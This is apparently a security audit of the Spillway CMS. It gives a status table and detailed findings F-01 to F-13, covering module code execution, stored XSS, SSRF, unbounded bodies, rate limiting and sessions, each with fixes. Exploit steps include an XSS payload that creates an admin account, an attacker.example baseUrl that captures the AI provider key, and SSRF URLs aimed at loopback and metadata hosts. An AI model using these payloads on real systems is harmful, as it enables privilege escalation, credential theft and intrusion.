Spillway CMSStructured content like Drupal. Page building like Puck. Setup like Ghost. AI that drafts, people who approve.
Menu

Spillway CMS security review (2026-11-05)

Scope: the committed tree at HEAD of branch phase-2b (764a78a), read with git show, never the working copy. Packages reviewed: core, blocks, admin, fleet, sdk, shared, plus Dockerfile, docker-compose.yml, .github/workflows/ci.yml and pnpm-lock.yaml. SSO, theme/menus and personalization/analytics are being written concurrently and are not in this tree, so they are not covered.

Method: every route in packages/core/src/routes/*.ts and app.ts was enumerated and checked for a guard, then each surface the brief lists (auth, injection, SSRF, sandbox and modules, uploads, secrets, DoS, MCP and tokens, supply chain, admin SPA) was traced from input to sink. A finding is CONFIRMED when the code path was traced end to end in the committed source and PLAUSIBLE when it depends on deployment shape or on behavior of a dependency that was not executed here. Line numbers refer to HEAD.

Summary

Status as of the remediation pass on the same day, updated by the hardening and scaling round (tests: packages/core/src/test/security.test.ts, packages/core/src/test/scaling.test.ts, packages/fleet/src/test/security.test.ts; operator-facing summary: docs/security.md).

IDSeverityAreaLocationTitleStatus
F-01CriticalModulespackages/core/src/modules/system.ts:333-387, packages/core/src/routes/modules.ts:65-84Any site.settings holder (the manager role) gets server code execution by uploading a tier: "trusted" moduleFixed: trusted installs answer 403 trusted_install_disabled unless SPILLWAY_TRUSTED_MODULE_INSTALL=1 and the caller has users.manage; enable/disable/remove of trusted modules need users.manage; audited as module.install_trusted; documented in docs/modules.md (Trust model).
F-02HighXSS / privilege escalationpackages/blocks/src/config.tsx:502,555, packages/core/src/render/page.tsx:115, packages/core/src/render/routes.ts:30-45, packages/admin/src/screens/content/LayoutEditor.tsx:108-115Text (HTML mode) and Embed blocks render author-supplied HTML unsanitized on the site, in /_preview and inside the admin page builder: author to admin takeoverFixed: layout walk sanitizes Text/html and Embed on save (content/embed.ts), again before render (page, preview, islands); Embed keeps sandboxed iframes to SiteSettings.embedAllowedHosts only; the block library sanitizes in its render functions (packages/blocks/src/sanitize.ts) so the Puck preview is covered.
F-03HighSSRFpackages/core/src/forms/http.ts:41-47Private-address guard is bypassed by IPv4-mapped IPv6 in hex or expanded form ([::ffff:7f00:1], [0:0:0:0:0:ffff:7f00:1]); DNS rebinding TOCTOUFixed: net/ip.ts normalizes every spelling (mapped, 6to4, NAT64, Teredo, decimal/octal/hex IPv4) before classification; connections are pinned to the vetted address through the undici agent's lookup (fallback: re-resolve immediately before connect).
F-04HighDoSpackages/core/src/routes/query.ts:11-21, packages/core/src/routes/forms.ts:42-51, packages/core/src/routes/media.ts:40-44, packages/core/src/app.tsNo request body limit anywhere: anonymous JSON or multipart bodies are buffered whole before any size checkFixed: hono/body-limit in app.ts: 1 MB JSON, 25 MB media, 64 MB module install, 256 KB form submit and beacon; 413 payload_too_large. Entity data is still only bounded by the 1 MB body.
F-05HighDoSpackages/core/src/media/derivatives.ts:26-39,53-73, packages/core/src/routes/media.ts:128-137Unauthenticated on-demand image derivatives: ~10^10 distinct cache files per image, no rate limit, no cache cap, a sharp decode per missFixed: fixed ladder (w/h from the srcset widths plus 200/240/320, h only with fit=cover, q ∈ {60,75,85}, four formats; anything else serves the original), 48 cached variants per image with oldest-first eviction, 30 misses/min/IP, limitInputPixels 40 MP. Total derivative storage is still unbounded across images.
F-06MediumAuth / DoSpackages/core/src/auth/client-ip.ts:5-15, packages/core/src/routes/auth.ts:18-20, packages/core/src/forms/service.ts:217-223Behind any reverse proxy every visitor shares one rate-limit bucket: 10 bad passwords lock the login for the whole site, 20 posts lock all formsFixed: TRUSTED_PROXIES (CIDRs, loopback, private, fly, *); XFF honored only from a trusted peer, rightmost untrusted hop; Fly-Client-IP with fly; documented per host in docs/install.md. The login limiter is still keyed on address only (not also on email).
F-07MediumFleetpackages/fleet/src/provision.ts:164-177, packages/core/src/routes/setup.ts:38-39Provisioned sites are reachable with the setup wizard open before fleet calls /api/setup; a first-admin race is silently accepted as "already set up"Fixed: SETUP_TOKEN gates POST /api/setup (X-Setup-Token, 403 setup_token_required); the fleet generates one per site, passes it as a host secret and sends it with its setup call; the admin wizard asks for it when the status says so.
F-08MediumModules / SSRFpackages/core/src/modules/module-api.ts:164-168, packages/core/src/modules/sandbox/host.ts:284-304,332-339Module http:<host> capability is self-declared and never checked against private ranges: a registry module can declare http:169.254.169.254 or http:localhost:3000Fixed: manifest validation refuses internal names and private literals in http: capabilities; api.http and sw_http go through the shared guard (pinned connections, redirects not followed for modules).
F-09MediumSupply chainpackages/core/src/modules/registry-client.ts:30-45,94-106,149-162, packages/core/src/modules/system.ts:322-330Registry index may be plain http://, the sha256 comes from the same unsigned index, tarball URLs are unrestricted (file://, internal hosts), and a missing registry tier lets a trusted module masquerade as sandboxed in the listingFixed (hardening round): the index carries an ed25519 signature over its canonical JSON (spillway registry keygen / registry sign); with REGISTRY_PUBLIC_KEY set, unsigned or tampered indexes are refused (registry_unsigned, registry_bad_signature); tier is mandatory in every entry and must match the tarball manifest; http:// registries are refused unless REGISTRY_ALLOW_HTTP=1; a web index may not point at a file:// tarball. Tests: scaling.test.ts (F-09).
F-10MediumDoS / availabilitypackages/core/src/modules/restart.ts:27-38, packages/core/src/server.ts:32-42, packages/core/src/routes/modules.ts:86-107Any site.settings holder can bounce the process at will (exit 75 with a 10 s drain) by toggling a trusted module; without a supervisor the site stays downFixed: trusted-module state changes need users.manage; restarts are limited to one per 5 minutes (429 restart_rate_limited), persisted in a stamp file so the limit survives the restart.
F-11MediumSecretspackages/core/src/ai/settings.ts:86-89, packages/core/src/routes/ai.ts:30, packages/core/src/ai/providers/openai.ts:42AI provider baseUrl is unvalidated: a manager exfiltrates the admin- or env-provided API key by pointing it at their host (and reaches internal hosts with the key attached)Fixed: ai/base-url.ts: https only (http to 127.0.0.1/localhost only with NODE_ENV=development), no credentials in the URL, SSRF guard; checked on PUT /api/ai/settings and before every call. Changing a provider's baseUrl now clears its stored key unless the same request supplies a new one, audited as ai.settings.key_cleared (scaling.test.ts, F-11); a manager can still point an environment-provided key at a public https host, which is the operator's call.
F-12MediumDoSpackages/core/src/render/routes.ts:75-89, packages/core/src/render/cache.ts:24-46, packages/core/src/marketing/listing.ts:73-77Pages with exposed filters or a calendar are rendered per query string: random queries force a full render plus JSON LIKE scans and evict the 500-entry LRUFixed (hardening round): resolvers declare the query parameters they read; the route keeps only those plus page in the cache key and in the render (a marker entry per path remembers the list), at most 50 variants per path are kept (LRU within the path) and query-dependent entries may take at most 40% of the cache, in both the in-process and the Redis provider; the listing keyword filter queries search_index instead of LIKE over JSON fields. Tests: scaling.test.ts (F-12), listings.test.ts.
F-13MediumAuthpackages/core/src/auth/session.ts:9-11,49-74, packages/core/src/routes/users.ts:63-89, packages/core/src/repos/sessions.ts:27Password or role changes never revoke sessions, sessions slide for ever, and deleteExpiredSessions is never calledFixed: password or role change revokes the user's other sessions (current one kept on self-change; audited auth.sessions_revoked), delete revokes all, 30-day absolute lifetime, expired rows swept hourly by the ticker. No logout-all endpoint yet.
F-14LowSecrets / privacypackages/core/src/notifications/outbox.ts:176-209,312, packages/core/src/forms/connectors/email.ts:43Webhook secrets and submission PII are copied in clear into outbox.payload; without SMTP_URL full submissions and notifications are written to the logFixed: outbox rows store the rule id and the submission id; the deliverer reads the secret from the rule and the data from the submission at send time; mail bodies log at debug only.
F-15LowDoS / storagepackages/core/src/auth/bearer.ts:56-62, packages/core/src/marketing/redirects.ts:158-167,231-237One audit_log row per bearer request and one path_miss row per unique anonymous 404: both tables grow without boundFixed (hardening round): bearer requests are aggregated into one api_token.request row per token per minute with a count, first/last path and method counts; path_miss is capped at 10,000 rows (least recently seen evicted, checked every 100 misses), on top of the hourly retention. Tests: scaling.test.ts (F-15).
F-16LowPath handlingpackages/core/src/routes/kits.ts:20-27, packages/core/src/kits/index.ts:81-85POST /api/kits/:key/install joins the decoded route param into a path: ..%2F reads a kit.json from anywhere on diskFixed: the route checks the key against CONTENT_TYPE_KEY_RE (dashes as the directory spelling) before loadKit, which also validates.
F-17LowFleetpackages/fleet/src/service.ts:33, packages/fleet/src/provision.ts:30, packages/fleet/src/adapters/docker.ts:163domain is only length-checked before being interpolated into a Traefik Host(\...\) rule, Kubernetes YAML and BASE_URLFixed: one DOMAIN_RE (RFC 1123 labels under a TLD) in the provisioning schema, the service's POST /sites/:id/domains and Fleet.addDomain.
F-18LowHeaderspackages/core/src/app.ts:105-109No Content-Security-Policy, X-Frame-Options/frame-ancestors or HSTS on the admin or /_previewFixed: X-Frame-Options: SAMEORIGIN and frame-ancestors 'self' everywhere, HSTS when BASE_URL is https, a strict admin CSP (verified against the Vite build: no inline scripts), a nonce-based CSP on rendered pages and previews with the embed and tag hosts allowed.
F-19InfoAuthpackages/core/src/auth/password.ts:4, packages/core/src/auth/session.ts:33-39scrypt N=2^14 is below the current OWASP floor (2^17); the Secure cookie flag depends on BASE_URL being setMitigated: scrypt2$ at N=2^15 (not 2^17, to keep login under ~100 ms on small hosts), old hashes verified and rehashed on login. X-Forwarded-Proto: https from a proxy in TRUSTED_PROXIES now marks the site https for the Secure flag and HSTS, and the session cookie uses the __Host- prefix when the site is https (scaling.test.ts, F-19). scrypt stays at N=2^15.
F-20InfoMCP / AIpackages/core/src/mcp/tools.ts, packages/core/src/ai/prompts/assist.ts:51Tool results and assist prompts embed user content without delimiting; jose and @node-saml/node-saml are dependencies with no committed callerMitigated: every tool result carries an <untrusted_content_notice> and the server instructions say site content is data; assist text and page briefs are fenced in the prompts. jose and node-saml now have a caller (SSO).
F-21InfoSupply chain / CI.github/workflows/ci.yml, pnpm-lock.yamlNo dependency audit or SAST in CI; resolved versions have no known-vulnerable ranges as of this reviewMitigated: pnpm audit --prod (reporting) and pnpm audit --prod --audit-level=high (blocking) in CI. No SAST step yet.

F-01 (Critical, CONFIRMED): trusted-module upload is remote code execution for the manager role

Where: packages/core/src/routes/modules.ts:65-84, packages/core/src/modules/system.ts:333-387, packages/core/src/modules/system.ts:179-189, packages/shared/src/index.ts:148-152.

// routes/modules.ts:65-77
app.post('/modules/install', async (c) => {
  const actor = requirePermission(c, 'site.settings');
  ...
  if (contentType.includes('multipart/form-data')) {
    ...
    installed = await sys.installFromTarball(bytes, 'upload');
// modules/system.ts:350-378
manifest = validateManifest(raw);          // accepts tier: 'trusted' with a .js entry
...
for (const e of entries) { const target = resolveInside(dir, e.path); ... await fsp.writeFile(target, e.data); }
...
if (manifest.tier === 'trusted' && !this.opts.loadTrustedInProcess) this.restart.request(`install ${manifest.name}@${manifest.version}`);
// modules/system.ts:185-188
const mod = await importEntry(entry);                      // dynamic import() of the uploaded file
await (def.setup as (api: ModuleApi) => unknown)(api);     // runs in the server process

ROLE_PERMISSIONS.manager includes site.settings but not users.manage; SECURITY.md only excludes the admin role from scope. Nothing distinguishes an uploaded trusted module from an operator-vetted one: no signature, no operator opt-in, no allow-list of module names.

Exploit: a manager (or anyone holding a manager's session or a bearer token minted with site.settings) uploads a .tgz whose manifest.json says "tier": "trusted", "main": "index.js" and whose index.js does export default { setup() { require('child_process').exec(...) } }. The route records it enabled and schedules the restart; on the next boot loadTrusted imports it. The code runs as the node user with DATA_DIR (session secret, ai-secret, SQLite file, media) and every environment variable (DATABASE_URL, SMTP_URL, FLY_API_TOKEN in fleet-managed hosts) in reach. It also survives --safe-mode as a file on disk (safe mode skips loading, but the row stays enabled).

Fix:

  1. Refuse tier: 'trusted' from installFromTarball unless the operator opted in out-of-band: SPILLWAY_ALLOW_TRUSTED_UPLOAD=1 (and the same gate for registry installs), and additionally require the admin role (users.manage) rather than site.settings for /modules/install, /modules/:id/enable and DELETE /modules/:id.
  2. Treat trusted modules as deployment artifacts: load them only from a directory the HTTP process cannot write (SPILLWAY_TRUSTED_MODULES_DIR, mounted read-only), and keep <DATA_DIR>/modules for sandboxed .wasm only.
  3. Add a signature check to the registry path (see F-09) so that even opted-in installs come from a key the operator pinned.
  4. Audit the restart request with the actor id so the install and the resulting boot are linkable.

F-02 (High, CONFIRMED): stored XSS through page-builder blocks, escalating author to admin

Where: packages/blocks/src/config.tsx:502 and :555, packages/core/src/render/page.tsx:91-115, packages/core/src/render/routes.ts:30-45, packages/admin/src/screens/content/LayoutEditor.tsx:108-115, packages/core/src/content/entities.ts:50-58.

// blocks/src/config.tsx:500-503 (Text block)
{format === 'html' ? (
  <div className="sw-prose" dangerouslySetInnerHTML={{ __html: content ?? '' }} />
// blocks/src/config.tsx:555 (Embed block)
<div className="sw-embed__frame" dangerouslySetInnerHTML={{ __html: html ?? '' }} />
// content/entities.ts:51-58: only richtext-typed fields are sanitised; the layout field is stored verbatim
function sanitizeRichText(type, data) { for (const f of type.fields) { if (f.type !== 'richtext') continue; ... } }
// render/page.tsx:115: the stored Puck document goes straight to <Render>
body = puckData ? <PuckPage config={config} data={puckData} /> : <div className="sw-page" />;
// render/routes.ts:30-31: any content.view_drafts user can open a draft preview; no CSP is sent
app.get('/_preview/:entityId', async (c) => { requirePermission(c, 'content.view_drafts'); ...

The admin page builder mounts the same config (admin/src/blocks.ts re-exports @spillway-cms/blocks) in Puck with iframe={{ syncHostStyles: true }}: the preview iframe is same-origin, so script inside it reaches window.parent, the session cookie and fetch('/api/...', { headers: { 'x-requested-with': 'spillway' } }), which is the only CSRF control (auth/csrf.ts:12-15).

Exploit: an author creates a page, adds a Text block in HTML mode containing <img src=x onerror="fetch('/api/users',{method:'POST',headers:{'content-type':'application/json','x-requested-with':'spillway'},body:JSON.stringify({email:'x@y.z',name:'x',password:'password1',roles:['admin']})})"> and submits it for review. The editor opens it (page builder or /_preview/<id>): the request runs with the editor's cookie. If the editor is an admin, the author now owns an admin account; otherwise the script can publish the page itself (editor has content.publish), after which every visitor runs it. /api/tokens is session-only, so the script can also mint a long-lived bearer token for the attacker. The richtext sanitizer is solid (see "done well"); it just never sees layout content.

Fix:

  1. Sanitize layout content on save: in content/entities.ts, walk every layout field (content, zones, nested columns) and run sanitizeHtml over Text.content when format === 'html'; for Embed.html keep only <iframe> elements with src on an allow-list of embed hosts (youtube.com, youtube-nocookie.com, vimeo.com, player.vimeo.com, open.spotify.com, Google Maps embed) and a fixed sandbox="allow-scripts allow-same-origin allow-presentation" attribute, or require a raw-HTML permission (content.raw_html, editor/manager only) for anything else.
  2. Apply the same sanitizer at render time (render/page.tsx before <Render>), so imports, kits, module beforeSave hooks and older rows are covered.
  3. Send Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-...'; frame-ancestors 'self' on /_preview/* and the admin, and give the Puck preview iframe sandbox without allow-same-origin where Puck supports it.
  4. React 19 neutralises javascript: hrefs in Button/Hero/CallToAction (config.tsx:200,323,365), but validate href schemes in content/validate.ts for the link field anyway (currently href: string is enough, validate.ts:33-34).

F-03 (High, CONFIRMED): outbound private-address guard bypass

Where: packages/core/src/forms/http.ts:30-49 (isPrivateAddress), :51-70 (assertPublicUrl), :72-106 (outboundFetch). Callers: form webhooks (forms/connectors/webhook.ts:30), HubSpot (SPILLWAY_HUBSPOT_FORMS_URL), notification webhooks and Slack (notifications/outbox.ts:319,336), the "test rule" button (routes/editorial.ts:138-143).

// forms/http.ts:41-47
if (net.isIPv6(ip)) {
  if (ip === '::' || ip === '::1') return true;
  if (ip.startsWith('fc') || ip.startsWith('fd')) return true;
  if (ip.startsWith('fe8') || ip.startsWith('fe9') || ip.startsWith('fea') || ip.startsWith('feb')) return true;
  if (ip.startsWith('::ffff:')) return isPrivateAddress(ip.slice(7));   // only the dotted form
  return false;
}

http://[::ffff:7f00:1]/ is a valid URL (net.isIP → 6). isPrivateAddress('::ffff:7f00:1') slices to 7f00:1, which is neither IPv4 nor IPv6, so it returns false; [0:0:0:0:0:ffff:7f00:1] and [::FFFF:7F00:1] (lower-cased, but still hex) take the same path. [64:ff9b::7f00:1] (NAT64) and [2002:7f00:1::] (6to4) are never considered. Node's fetch connects a v4-mapped address to IPv4 loopback on a dual-stack host. Separately, assertPublicUrl resolves with dns.lookup and then fetch resolves again (:64 vs :89): a rebinding name that answers a public A record first and 127.0.0.1 second passes.

Exploit: a user with forms.manage (manager) sets a webhook URL to http://[::ffff:7f00:1]:3000/api/... or to an internal service (http://[::ffff:a9fe:a9fe]/latest/meta-data/ on EC2, http://[::ffff:0a00:0001]:6379) and presses "Send test" or submits the form; the response is not returned, but the request body is attacker-controlled (submission.data) and the signed POST is delivered. On Docker hosts the Docker socket is not reachable this way, but any plain-TCP service on the host or pod network is.

Fix: normalize before classifying: const parsed = new net.BlockList() is simplest. Build a BlockList once with addSubnet('10.0.0.0',8,'ipv4'), 172.16/12, 192.168/16, 127/8, 169.254/16, 100.64/10, 0.0.0.0/8, ::1/128, fc00::/7, fe80::/10, ::ffff:0:0/96 (then also check the embedded v4), 64:ff9b::/96, 2002::/16, and call blockList.check(address, family). For rebinding, resolve once and connect to the resolved address: pass an undici Agent with a custom lookup/connect that pins the vetted address and sets servername to the original host (or use dispatcher with connect: { lookup }). Apply the same helper to registry-client.ts and the module HTTP capability (F-08) and AI base URLs (F-11).

F-04 (High, CONFIRMED): unbounded request bodies

Where: packages/core/src/routes/query.ts:11-21, packages/core/src/routes/forms.ts:42-51 (public), packages/core/src/routes/media.ts:40-44, packages/core/src/routes/modules.ts:71-75, packages/core/src/routes/mcp.ts:33-38, packages/core/src/routes/kits.ts:40-44; app.ts registers no bodyLimit.

// routes/forms.ts:42-51 (no session, no CSRF)
const parsed: unknown = await c.req.json();      // whole body in memory first
...
raw = (await c.req.parseBody()) as Record<string, unknown>;   // formData(): every part buffered
// routes/media.ts:40-43
const form = await c.req.parseBody();           // buffered ...
if (file.size > MAX_UPLOAD_BYTES) throw tooLarge(...);   // ... then checked

Hono has no default body limit and @hono/node-server streams the socket into Request; c.req.json()/formData() read to completion. The zod caps (richtext: 2_000_000, module settings 64 KB, JSON.stringify(settings).length in routes/modules.ts:112) all run after the parse.

Exploit: an anonymous client opens a few dozen connections to POST /api/forms/<key>/submit (any form key is enough; even /api/forms/x/submit 404s only after parsing is attempted on the real key path) with Content-Type: application/json and a multi-gigabyte body; each is held in memory until complete. The container's resources.limits.memory (fleet default 512 MiB) is exhausted and the process is OOM-killed. The same applies to a signed-in author via PUT /api/entities/:id (data is z.record(z.unknown()) with no size bound, and the full document is copied into revision, audit_log and the search index).

Fix: in app.ts, before the routers: app.use('/api/*', bodyLimit({ maxSize: 1 * 1024 * 1024, onError: (c) => c.json(tooLarge('Request body too large').toBody(), 413) })) from hono/body-limit, then raise it per route where needed: app.use('/api/media', bodyLimit({ maxSize: MAX_UPLOAD_BYTES + 64 * 1024 })), app.use('/api/modules/install', bodyLimit({ maxSize: MAX_MODULE_UPLOAD_BYTES + 64 * 1024 })), app.use('/api/forms/*/submit', bodyLimit({ maxSize: 256 * 1024 })), /mcp 1 MB. Also cap entity data after parse (JSON.stringify(data).length <= 2 MB) so revisions and the audit log stay bounded.

F-05 (High, CONFIRMED): derivative generation is an unauthenticated CPU and disk amplifier

Where: packages/core/src/media/derivatives.ts:26-39 (parseDerivativeOptions), :53-73 (getDerivative), packages/core/src/routes/media.ts:120-137.

// media/derivatives.ts:57-59
const key = `${opts.w ?? ''}x${opts.h ?? ''}:${opts.fit}:${fmt}:${opts.q}:...`;   // w,h in 1..4000, q in 1..100
const target = store.pathFor(item.id, path.join('_v', `${hash}.${fmt}`));
if (fs.existsSync(target)) return { path: target, mime };

Every distinct (w, h, fit, fmt, q) is a new file: 4000 × 4000 × 3 × 4 × 100 ≈ 1.9 × 10^10 per image. Nothing throttles misses, nothing bounds _v/ (it is only cleared on focal-point change or delete), and each miss runs sharp(...).rotate().metadata() plus a resize and an encode (AVIF at q=100 is the slowest). limitInputPixels: 80_000_000 and withoutEnlargement are set, which bounds a single job but not the number of jobs.

Exploit: for q in 1..100, w in 1..4000: GET /media/<id>/<file>?w=$w&q=$q&fmt=avif from a few workers. Each request costs the server tens to hundreds of milliseconds of CPU and writes a file; a 25 MB source image produces full-size AVIF/PNG outputs of comparable size, so /data fills at network speed. On Fly the volume is 1 GB by default (FLY_DEFAULTS).

Fix:

  1. Reduce the key space: accept only w from MEDIA_SRCSET_WIDTHS plus a few fixed values (the mediaSrcSet helper already emits [480, 768, 1200, 1920]), round h to the aspect ratio or to a short list of crops, drop q from the public URL (fixed per format, e.g. 80) and keep fit in MEDIA_FITS. Unknown values should 302 to the nearest allowed variant rather than generate.
  2. Serialize work: a small p-limit-style queue (2 concurrent generates) with a per-IP token bucket on misses, and 429 beyond it.
  3. Bound the cache: track _v/ bytes per site in a table (or du at boot), evict LRU by atime, and cap total derivative storage (SPILLWAY_DERIVATIVE_CACHE_MB, default 1024).
  4. Optionally sign the variant parameters (HMAC over the option string with sessionSecret) so only URLs the renderer emitted are honored.

F-06 (Medium, CONFIRMED for proxied deployments): shared rate-limit bucket behind a proxy

Where: packages/core/src/auth/client-ip.ts:5-15, packages/core/src/routes/auth.ts:18-20,26, packages/core/src/forms/service.ts:196-223, packages/core/src/app.ts:58-59.

// auth/client-ip.ts:5-15
export function clientIp(c: Context): string {
  try { const info = getConnInfo(c); if (info.remote.address) return info.remote.address; } catch {}
  const forwarded = c.req.header('x-forwarded-for');   // only reached under app.request in tests
  if (forwarded) return forwarded.split(',')[0]!.trim();
  return 'local';
}

Every documented production topology (Docker behind Traefik per adapters/docker.ts:163-166, Fly's proxy, Kubernetes Ingress, Render/Railway) terminates TLS in front of Node, so getConnInfo returns the proxy's address for every visitor. LOGIN_ATTEMPTS = 10 per 15 minutes and SUBMISSION_LIMIT = 20 per 10 minutes then apply to the whole site. The fallback branch is the opposite problem: when it is reached it trusts the first hop of X-Forwarded-For, which the client controls.

Exploit: an anonymous client sends 10 wrong passwords to /api/auth/login; nobody can log in for 15 minutes (tooMany), and repeating every 15 minutes keeps the admin locked out indefinitely. Twenty junk posts to any public form stop lead capture for the site for 10 minutes.

Fix: add a TRUSTED_PROXIES config (CIDR list, default empty; fleet adapters set it to the proxy range), and derive the client address with a right-to-left walk of X-Forwarded-For skipping trusted hops (Fly: Fly-Client-IP; Cloudflare: CF-Connecting-IP). Keep the socket address when the list is empty. Additionally key the login limiter on email as well as address (fail-closed per account with a higher threshold), and include the form key in the submission limiter key.

F-07 (Medium, PLAUSIBLE): first-admin race on freshly provisioned sites

Where: packages/fleet/src/provision.ts:139-177, packages/core/src/routes/setup.ts:38-39, packages/core/src/app.ts:114-120.

// provision.ts:166-174
const status = await client.setupStatus();
if (status.installed) { setupSkipped = true; log('site is already set up; skipping /api/setup', { appName }); ... }
else await client.setup({ siteName: req.name, email: req.adminEmail, password: adminPassword, name: req.adminName });

createSite returns once the container or machine is up, waitForHealth polls /healthz over the public URL, and only then is /api/setup posted. During that window the site answers on https://<appName>.fly.dev (app names are derived from the customer name by slugifyName, provision.ts:72) or on the Traefik host, and POST /api/setup is open to anyone who sends the x-requested-with: spillway header. If someone wins the race, fleet records the site as ready with setupSkipped: true and continues; the customer is handed a site the attacker administers.

Fix: pass a one-time SETUP_TOKEN (random, generated by fleet) in spec.env; make POST /api/setup require Authorization: Bearer <SETUP_TOKEN> whenever that variable is set, and have the setup page in the SPA ask for it. Fleet should treat installed === true on a site it just created as a failure (site.failed, destroy and recreate), not as success. Independently, bind the first listener to the private network until setup completes where the host supports it (Fly private_network first, then allocate the public IP).

F-08 (Medium, CONFIRMED): module HTTP capability has no private-range check

Where: packages/core/src/modules/manifest.ts:9-11 (http:<host> accepts any host), packages/core/src/modules/module-api.ts:164-168, packages/core/src/modules/sandbox/host.ts:284-304, :332-339 (sandboxFetch uses bare fetch, redirect: 'manual').

// module-api.ts:164-168
http: async (url, init) => {
  const u = new URL(url);
  if (!hosts.has(u.host.toLowerCase()) && !hosts.has(u.hostname.toLowerCase())) throw new CapabilityError(...);
  return fetch(u, { ...init, signal: init?.signal ?? AbortSignal.timeout(10_000) });
},

The allow-list is whatever the module's own manifest declares, so a registry-published sandboxed module with "capabilities": ["hooks", "http:169.254.169.254"] or "http:localhost:3000" passes validation and the admin UI shows it as a sandboxed extension. On entity.afterSave it can call GET /api/forms/<key>/submit style public endpoints on the local server, the cloud metadata service, or anything on the pod network; the response body (httpMaxBytes 1 MB) is returned to the guest, and the guest can forward it to a second declared public host.

Fix: run assertPublicUrl (after F-03's fix) inside both HTTP paths; refuse http: capabilities whose host is an IP literal, localhost, *.internal or *.local at manifest validation; show the declared hosts prominently in the install dialog and require confirmation.

F-09 (Medium, PLAUSIBLE): registry trust model is TOFU over an unsigned index

Where: packages/core/src/modules/registry-client.ts:30-45 (readUrl accepts http: and file:, bare fetch with redirects followed), :94-106 (toEntry defaults tier to 'sandboxed'), :149-162, packages/core/src/modules/system.ts:322-330.

// registry-client.ts:157-160
const tarballUrl = new URL(record.tarball, this.indexUrl());   // any scheme/host the index names
const bytes = await readUrl(tarballUrl, TARBALL_MAX_BYTES);
if (actual !== record.sha256.toLowerCase()) throw ...           // sha256 from the same index
// system.ts:327
if (record.manifest && record.manifest.tier && record.manifest.tier !== manifest.tier) throw ...   // skipped when the index omits tier

The sha256 proves the tarball matches the index, not that either is authentic; REGISTRY_URL may be http://, and an on-path attacker or a compromised CDN swaps both. Because toEntry reports 'sandboxed' when the index entry has no tier and the install check only compares tiers when the registry manifest has one, a listing can show "sandboxed" while the tarball's manifest says trusted, which then triggers F-01's in-process load after the restart.

Fix: sign the index (minisign/ed25519 over the index bytes, public key pinned in config, SPILLWAY_REGISTRY_PUBKEY), require https: unless file: in development, refuse redirects or re-verify each hop with the SSRF guard, and make the tier comparison mandatory: fail when the registry does not state a tier. Show the tier that the tarball declares before writing anything to disk.

F-10 (Medium, CONFIRMED): restart as a self-service denial of service

Where: packages/core/src/modules/restart.ts:27-38, packages/core/src/server.ts:32-42, packages/core/src/routes/modules.ts:86-107.

// routes/modules.ts:86-90
app.post('/modules/:id/enable', async (c) => { const actor = requirePermission(c, 'site.settings'); const m = await system(ctx).enable(c.req.param('id')); ...
// restart.ts:34-36
this.timer = setTimeout(() => { this.handler?.(...) }, RESTART_DELAY_MS);   // server.ts: drain 10 s, process.exit(75)

Enable/disable/remove of any trusted module (the bundled hello-banner example counts once copied in) exits the process. A manager toggling it in a loop keeps the site in a drain/restart cycle; a deployment started with node server.js and no supervisor (the README's quick start) simply stops. SIGHUP is the same path.

Fix: require the admin role for state changes of trusted modules, debounce restarts (refuse a new restart within N minutes of the last one unless ?force=1 by an admin), and, when process.env.SPILLWAY_SUPERVISED !== '1', apply the module on the next manual restart instead of exiting (keep restartPending so the admin banner still shows).

F-11 (Medium, CONFIRMED): AI baseUrl leaks the provider key and is an SSRF with credentials

Where: packages/core/src/routes/ai.ts:22-36 (baseUrl: z.string().max(500)), packages/core/src/ai/settings.ts:86-89,113-128, packages/core/src/ai/providers/openai.ts:42 / anthropic.ts:43 / google.ts:26.

// ai/settings.ts:126-127
if (!apiKey) apiKey = envKeyFor(provider);                        // ANTHROPIC_API_KEY etc. from the environment
return { provider, model, apiKey, ...(stored?.baseUrl ? { baseUrl: stored.baseUrl } : {}) };
// providers/openai.ts:42
{ method: 'POST', headers: { 'content-type': 'application/json', authorization: `Bearer ${opts.apiKey}` }, body }

Keys are encrypted at rest and never returned by the API (good), but anyone with site.settings can PUT /api/ai/settings {"providers":{"openai":{"baseUrl":"https://attacker.example/"}}} and then call /api/ai/assist; the server posts the decrypted key (or the operator's env key) to the attacker. The URL is not checked for scheme or private ranges either, so it is also an authenticated SSRF.

Fix: validate baseUrl as https: (allow http: only for openai_compatible when SPILLWAY_ALLOW_PRIVATE_URLS=1, the documented Ollama case), run assertPublicUrl otherwise, and require re-entering the API key when baseUrl changes (clear apiKeyEnc on a host change and refuse the env fallback for a non-default base). Record baseUrl changes in the audit log with the old and new host (currently only toPublicSettings diffs are stored, which do include it; keep that).

F-12 (Medium, CONFIRMED): per-query render cache is fillable and evictable

Where: packages/core/src/render/routes.ts:75-89, packages/core/src/render/cache.ts:24-46 (max = 500, single LRU shared by all pages), packages/core/src/marketing/listing.ts:73-77 and marketing/collections.ts:257-272 (has compiles entity.data LIKE '%"value"%'), packages/core/src/routes/collections.ts:89-100.

// render/routes.ts:81-88
const queryKey = qs ? `${path}?${qs}` : path;
...
if (page.queryDependent) ctx.cache.set(queryKey, {...});   // one entry per distinct sorted query string

Any page holding a Collection block with an exposed filter or a Calendar is queryDependent. canonicalQuery keeps up to 1000 bytes of arbitrary keys, so ?x=1, ?x=2, ... each miss, each runs the full render (type lookups, queryCollectionItems with ILIKE over the JSON data column for has filters and LIKE keyword search over up to 8 fields, occurrence expansion), and each insert evicts an older entry from the 500-slot LRU shared with every other page. The public /api/collections/:id/items has the same query cost without any cache.

Exploit: ~1,000 requests per second with random query strings against one listing page keep the cache empty for the whole site and pin the database on sequential scans of entity.data.

Fix: only fold known parameters into the cache key (the filter fields the listing declares plus page, q, from, to; drop everything else, as ownParams in listing.ts:186 already enumerates), cap page at a few hundred, cap q length at 100, cache negative/empty results too, and give query-dependent entries their own smaller LRU so they cannot evict plain pages. Add a cheap per-IP limiter on cache misses for queryDependent paths.

F-13 (Medium, CONFIRMED): session lifecycle gaps

Where: packages/core/src/auth/session.ts:9-11 (30-day sliding TTL, no absolute maximum), :49-74, packages/core/src/routes/users.ts:63-89 (password and role change), :91-102 (delete), packages/core/src/repos/sessions.ts:27 (deleteExpiredSessions has no caller outside tests), packages/core/src/routes/auth.ts:32-35 (logout deletes only the presented session).

An admin resetting a compromised user's password (or demoting them) does not end that user's sessions; sessionMiddleware re-reads the user row, so a demotion takes effect on the next request, but a password reset does not evict the attacker. There is no "log out everywhere", no absolute lifetime (a stolen cookie used once a day lives for ever), and expired rows accumulate because the sweep is never scheduled.

